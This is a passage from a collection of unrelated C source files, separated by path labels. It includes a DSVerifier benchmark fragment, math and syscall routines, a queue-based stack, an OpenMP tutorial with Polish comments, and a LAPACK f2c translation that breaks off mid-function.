factor = factor < 0 ? factor * (-1) : factor;
double min = plant.b[i] - factor;
double max = plant.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.b[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.b[i] >= min) && (plant_cbmc.b[i] <= max));
}else{
plant_cbmc.b[i] = plant.b[i];
}
}
for(i=0; i<plant.a_size; i++)
{
if (plant.a_uncertainty[i] > 0)
{
double factor = ((plant.a[i] * plant.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.a[i] - factor;
double max = plant.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.a[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.a[i] >= min) && (plant_cbmc.a[i] <= max));
}
else
{
plant_cbmc.a[i] = plant.a[i];
}
}
((void(*)())closedloop_verification_task)();
}
# 2 "benchmarks/ds-08-impl3.c" 2
digital_system ds = {
.b = { 0.0096, -0.009 },
.b_size = 2,
.a = { 0.02, 0.0 },
.a_size = 2,
.sample_time = 0.02
};
implementation impl = {
.int_bits = 5,
.frac_bits = 11,
.max = 1.0,
.min = -1.0
};
|
the_stack_data/58036.c
|
/*
* POK header
*
* The following file is a part of the POK project. Any modification should
* be made according to the POK licence. You CANNOT use this file or a part
* of a file for your own project.
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2021 POK team
*/
/* @(#)s_isnan.c 5.1 93/09/24 */
/*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
/*
* isnan(x) returns 1 is x is nan, else 0;
* no branching!
*/
#ifdef POK_NEEDS_LIBMATH
#include "math_private.h"
#include <types.h>
int isnan(double x) {
int32_t hx, lx;
EXTRACT_WORDS(hx, lx, x);
hx &= 0x7fffffff;
hx |= (uint32_t)(lx | (-lx)) >> 31;
hx = 0x7ff00000 - hx;
return (int)((uint32_t)(hx)) >> 31;
}
#endif
|
the_stack_data/243894502.c
|
#include "syscall.h"
#include "printf.h"
void delay(int cnt){
while(cnt>0)cnt--;
}
int getpid(){
long ret;
asm volatile("\
svc 1\n\
mov %0, x0\n\
":"=r"(ret):);
return ret;
}
int uart_read(char* buf,int size){
long ret;
asm volatile("\
svc 2\n\
mov %0, x0\n\
":"=r"(ret):);
return ret;
}
int uart_write(char* buf,int size){
long ret;
asm volatile("\
svc 3\n\
mov %0, x0\n\
":"=r"(ret):);
return ret;
}
unsigned int uart_printf(char* fmt,...){
char dst[100];
//__builtin_va_start(args, fmt): "..." is pointed by args
//__builtin_va_arg(args,int): ret=(int)*args;args++;return ret;
__builtin_va_list args;
__builtin_va_start(args,fmt);
unsigned int ret=vsprintf(dst,fmt,args);
uart_write(dst,ret);
return ret;
}
int exec(char* name,char** argv){
long ret;
asm volatile("\
svc 4\n\
mov %0, x0\n\
":"=r"(ret):);
return ret;
}
void exit(){
asm volatile("svc 5\n"::);
while(1){}
}
int fork(){
long ret;
asm volatile("\
svc 6\n\
mov %0, x0\n\
":"=r"(ret):);
return ret;
}
|
the_stack_data/18887779.c
|
#include<stdio.h>
struct queue {
int data;
struct queue * link;
};
struct queue *head_q1 = NULL;
struct queue *tail_q1 = NULL;
struct queue *head_q2 = NULL;
struct queue *tail_q2 = NULL;
void enqueue(struct queue **head, struct queue **tail, int data)
{
struct queue *temp = (struct queue *)(malloc (sizeof(struct queue)));
temp->data = data;
temp->link = NULL;
if(*tail!= NULL)
{
(*tail)->link = temp;
*tail = temp;
}
if(*head == NULL && *tail == NULL)
{
*head = temp;
*tail = temp;
}
}
int dequeue(struct queue **head , struct queue **tail)
{
int data;
struct queue *temp;
if(*head == NULL)
{
return NULL;
}
data = (*head)->data;
temp = *head;
if(*head == *tail)
{
*head = NULL;
*tail = NULL;
}
else {
*head = (*head)->link;
}
free(temp);
return data;
}
int isEmpty(struct queue *head)
{
if(head==NULL)
return 1;
else
return 0;
}
void push (int data) {
if(head_q1 == NULL && head_q2 == NULL)
{
enqueue(&head_q1,&tail_q1, data);
}
else if(head_q1==NULL)
{
enqueue(&head_q2, &tail_q2,data);
}
else
{
enqueue(&head_q1,&tail_q1, data);
}
}
int pop() {
int data = NULL;
if(!isEmpty(head_q1))
{
while(head_q1!=NULL)
{
data = dequeue(&head_q1,&tail_q1);
if(head_q1!=NULL)
enqueue(&head_q2, &tail_q2, data);
}
}
else if(!isEmpty(head_q2))
{
while(head_q2 != NULL)
{
data = dequeue(&head_q2,&tail_q2);
if(head_q2!=NULL)
enqueue(&head_q1, &tail_q1, data);
}
}
return data;
}
void main()
{
push(10);
push(20);
push(30);
printf("%d ",pop());
printf("%d ",pop());
printf("%d ",pop());
printf("%d ",pop());
push(100);
push(200);
push(300);
printf("%d ",pop());
printf("%d ",pop());
push(1000);
push(2000);
push(3000);
printf("%d ",pop());
printf("%d ",pop());
printf("%d ",pop());
printf("%d ",pop());
printf("%d ",pop());
printf("%d ",pop());
}
|
the_stack_data/126703617.c
|
#include <omp.h>
#include <stdio.h>
#include <unistd.h>
// kompilacja: gcc -fopenmp openmp.c -o openmp_demo
// uruchomienie (4 wątki): env OMP_NUM_THREADS=4 ./openmp_demo
int main (int argc, char *argv[]) {
int ilosc_watkow = -22, numer_watka = -33;
// od tego miejsca kod będzie zrównoleglany ...
// default(none) wymusza jawne deklarowanie zasięgu każdej zmiennej
// zmienna prywatna dla każdego z wątków będzie numer_watka
// wspólną zmienną będzie ilosc_watkow
#pragma omp parallel default(none) shared(ilosc_watkow) private(numer_watka)
// ponadto w dyrektywie parallel możemy:
// określić kiedy ma mieć miejsce zrównoleglenie - poprzez if (warnunek na jakis zmiennych)
// ile wątków powinno obsługiwać urównoleglenie - poprzez num_threads(ilosc)
{
// poniższy blok wykona się tylko w pojedynczym wątku
#pragma omp single
{
ilosc_watkow = omp_get_num_threads();
printf("Urównolegliliśmy się na %d watków\n", ilosc_watkow);
}
// poniższy kod wykona każdy z wątków niezależnie
numer_watka = omp_get_thread_num();
printf("Tu wątek numer %d ... ja żyje :-)\n", numer_watka);
// czekamy az wszystkie watki zakończą powyższy kod
#pragma omp barrier
if ( numer_watka == 0 ) { // tylko w wątku zerowym
printf("Tu wątek numer zero ... informuje iż każdy wątek ma już ustawioną swoją zmienną numer_watka\n");
}
// możemy też w prostszy od pokazanego powyżej if'a przydzielać zadania poszczególnym wątkom:
#pragma omp sections
{
#pragma omp section
{
// ten wątek sobie troszkę pośpi
sleep(1);
printf("Jakiś wątek AAAA\n");
}
#pragma omp section
{
printf("Jakiś inny wątek BBBB\n");
}
}
}
printf("No i nie ma już naszych %d wątków ... ", ilosc_watkow);
printf("teraz mamy zwykły sekwencyjnie wykonywany program, a numerem wątka jest %d\n", numer_watka);
// na powyższym widać różnicę między zmienną współdzieloną a prywatną dla wątków
// możemy urównoleglać także pętlę for
// możemy używać zmiennej do której pisać będzie kilka wątków
// pod warunkiem że będzie to tablica a watki piszą do różnych komórek
// lub że będzie to zmienna akumulacyjna (jak w poniższym przykładzie)
// - musi być ona wtedy podana przez reduction(charakter:zmienna)
int i, max_i=10, suma=0;
#pragma omp parallel for default(none) shared(max_i) private(i) reduction(+ : suma)
for (i = 0; i < max_i; i++) {
suma += i * omp_get_thread_num();
}
printf("SUMA = %d\n", suma);
}
|
the_stack_data/122014378.c
|
#include <stdio.h>
int c( int m,int n )
{
int a = 1,b = 1;
if (n > m-n)
n = m-n;
if( n == 0 )
return 1;
for( int i = m ; i >=m-n+1 ; i-- )
a = a*i;
for( int i = 1 ; i <= n ; i++ )
b = b*i;
return a/b;
}
int main()
{
int m,n,res;
scanf("%d %d", &m, &n);
res = c(m,n);
printf("%d\n", res);
return 0;
}
|
the_stack_data/189543.c
|
/* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b DTPMQRT */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download DTPMQRT + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/dtpmqrt
.f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/dtpmqrt
.f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/dtpmqrt
.f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE DTPMQRT( SIDE, TRANS, M, N, K, L, NB, V, LDV, T, LDT, */
/* A, LDA, B, LDB, WORK, INFO ) */
/* CHARACTER SIDE, TRANS */
/* INTEGER INFO, K, LDV, LDA, LDB, M, N, L, NB, LDT */
/* DOUBLE PRECISION V( LDV, * ), A( LDA, * ), B( LDB, * ), */
/* $ T( LDT, * ), WORK( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > DTPMQRT applies a real orthogonal matrix Q obtained from a */
/* > "triangular-pentagonal" real block reflector H to a general */
/* > real matrix C, which consists of two blocks A and B. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] SIDE */
/* > \verbatim */
/* > SIDE is CHARACTER*1 */
/* > = 'L': apply Q or Q**T from the Left; */
/* > = 'R': apply Q or Q**T from the Right. */
/* > \endverbatim */
/* > */
/* > \param[in] TRANS */
/* > \verbatim */
/* > TRANS is CHARACTER*1 */
/* > = 'N': No transpose, apply Q; */
/* > = 'T': Transpose, apply Q**T. */
/* > \endverbatim */
/* > */
/* > \param[in] M */
/* > \verbatim */
/* > M is INTEGER */
/* > The number of rows of the matrix B. M >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The number of columns of the matrix B. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] K */
/* > \verbatim */
/* > K is INTEGER */
/* > The number of elementary reflectors whose product defines */
/* > the matrix Q. */
/* > \endverbatim */
/* > */
/* > \param[in] L */
/* > \verbatim */
/* > L is INTEGER */
/* > The order of the trapezoidal part of V. */
/* > K >= L >= 0. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] NB */
/* > \verbatim */
/* > NB is INTEGER */
/* > The block size used for the storage of T. K >= NB >= 1. */
/* > This must be the same value of NB used to generate T */
/* > in CTPQRT. */
/* > \endverbatim */
/* > */
/* > \param[in] V */
/* > \verbatim */
/* > V is DOUBLE PRECISION array, dimension (LDV,K) */
/* > The i-th column must contain the vector which defines the */
/* > elementary reflector H(i), for i = 1,2,...,k, as returned by */
/* > CTPQRT in B. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDV */
/* > \verbatim */
/* > LDV is INTEGER */
/* > The leading dimension of the array V. */
/* > If SIDE = 'L', LDV >= f2cmax(1,M); */
/* > if SIDE = 'R', LDV >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in] T */
/* > \verbatim */
/* > T is DOUBLE PRECISION array, dimension (LDT,K) */
/* > The upper triangular factors of the block reflectors */
/* > as returned by CTPQRT, stored as a NB-by-K matrix. */
/* > \endverbatim */
/* > */
/* > \param[in] LDT */
/* > \verbatim */
/* > LDT is INTEGER */
/* > The leading dimension of the array T. LDT >= NB. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is DOUBLE PRECISION array, dimension */
/* > (LDA,N) if SIDE = 'L' or */
/* > (LDA,K) if SIDE = 'R' */
/* > On entry, the K-by-N or M-by-K matrix A. */
/* > On exit, A is overwritten by the corresponding block of */
/* > Q*C or Q**T*C or C*Q or C*Q**T. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. */
/* > If SIDE = 'L', LDC >= f2cmax(1,K); */
/* > If SIDE = 'R', LDC >= f2cmax(1,M). */
/* > \endverbatim */
/* > */
/* > \param[in,out] B */
/* > \verbatim */
/* > B is DOUBLE PRECISION array, dimension (LDB,N) */
/* > On entry, the M-by-N matrix B. */
/* > On exit, B is overwritten by the corresponding block of */
/* > Q*C or Q**T*C or C*Q or C*Q**T. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDB */
/* > \verbatim */
/* > LDB is INTEGER */
/* > The leading dimension of the array B. */
/* > LDB >= f2cmax(1,M). */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is DOUBLE PRECISION array. The dimension of WORK is */
/* > N*NB if SIDE = 'L', or M*NB if SIDE = 'R'. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date November 2017 */
/* > \ingroup doubleOTHERcomputational */
/* > \par Further Details: */
/* ===================== */
/* > */
/* > \verbatim */
/* > */
/* > The columns of the pentagonal matrix V contain the elementary reflectors */
/* > H(1), H(2), ..., H(K); V is composed of a rectangular block V1 and a */
/* > trapezoidal block V2: */
/* > */
/* > V = [V1] */
/* > [V2]. */
/* > */
/* > The size of the trapezoidal block V2 is determined by the parameter L, */
/* > where 0 <= L <= K; V2 is upper trapezoidal, consisting of the first L */
/* > rows of a K-by-K upper triangular matrix. If L=K, V2 is upper triangular; */
/* > if L=0, there is no trapezoidal block, hence V = V1 is rectangular. */
/* > */
/* > If SIDE = 'L': C = [A] where A is K-by-N, B is M-by-N and V is M-by-K. */
/* > [B] */
/* > */
/* > If SIDE = 'R': C = [A B] where A is M-by-K, B is M-by-N and V is N-by-K. */
/* > */
/* > The real orthogonal matrix Q is formed from V and T. */
/* > */
/* > If TRANS='N' and SIDE='L', C is on exit replaced with Q * C. */
/* > */
/* > If TRANS='T' and SIDE='L', C is on exit replaced with Q**T * C. */
/* > */
/* > If TRANS='N' and SIDE='R', C is on exit replaced with C * Q. */
/* > */
/* > If TRANS='T' and SIDE='R', C is on exit replaced with C * Q**T. */
/* > \endverbatim */
/* > */
/* ===================================================================== */
/* Subroutine */ int dtpmqrt_(char *side, char *trans, integer *m, integer *n,
integer *k, integer *l, integer *nb, doublereal *v, integer *ldv,
doublereal *t, integer *ldt, doublereal *a, integer *lda, doublereal *
b, integer *ldb, doublereal *work, integer *info)
{
/* System generated locals */
integer v_dim1, v_offset, a_dim1, a_offset, b_dim1, b_offset, t_dim1,
t_offset, i__1, i__2, i__3, i__4;
/* Local variables */
integer ldaq;
logical left, tran;
integer ldvq, i__;
extern logical lsame_(char *, char *);
logical right;
integer ib, lb, mb, kf;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen), dtprfb_(
char *, char *, char *, char *, integer *, integer *, integer *,
integer *, doublereal *, integer *, doublereal *, integer *,
doublereal *, integer *, doublereal *, integer *, doublereal *,
integer *);
logical notran;
/* -- LAPACK computational routine (version 3.8.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* November 2017 */
/* ===================================================================== */
/* Parameter adjustments */
v_dim1 = *ldv;
v_offset = 1 + v_dim1 * 1;
v -= v_offset;
t_dim1 = *ldt;
t_offset = 1 + t_dim1 * 1;
t -= t_offset;
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
b_dim1 = *ldb;
b_offset = 1 + b_dim1 * 1;
b -= b_offset;
--work;
/* Function Body */
*info = 0;
left = lsame_(side, "L");
right = lsame_(side, "R");
tran = lsame_(trans, "T");
notran = lsame_(trans, "N");
if (left) {
ldvq = f2cmax(1,*m);
ldaq = f2cmax(1,*k);
} else if (right) {
ldvq = f2cmax(1,*n);
ldaq = f2cmax(1,*m);
}
if (! left && ! right) {
*info = -1;
} else if (! tran && ! notran) {
*info = -2;
} else if (*m < 0) {
*info = -3;
} else if (*n < 0) {
*info = -4;
} else if (*k < 0) {
*info = -5;
} else if (*l < 0 || *l > *k) {
*info = -6;
} else if (*nb < 1 || *nb > *k && *k > 0) {
*info = -7;
} else if (*ldv < ldvq) {
*info = -9;
} else if (*ldt < *nb) {
*info = -11;
} else if (*lda < ldaq) {
*info = -13;
} else if (*ldb < f2cmax(1,*m)) {
*info = -15;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("DTPMQRT", &i__1, (ftnlen)7);
return 0;
}
if (*m == 0 || *n == 0 || *k == 0) {
return 0;
}
if (left && tran) {
i__1 = *k;
i__2 = *nb;
for (i__ = 1; i__2 < 0 ? i__ >= i__1 : i__ <= i__1; i__ += i__2) {
/* Computing MIN */
i__3 = *nb, i__4 = *k - i__ + 1;
ib = f2cmin(i__3,i__4);
/* Computing MIN */
i__3 = *m - *l + i__ + ib - 1;
mb = f2cmin(i__3,*m);
if (i__ >= *l) {
lb = 0;
} else {
lb = mb - *m + *l - i__ + 1;
}
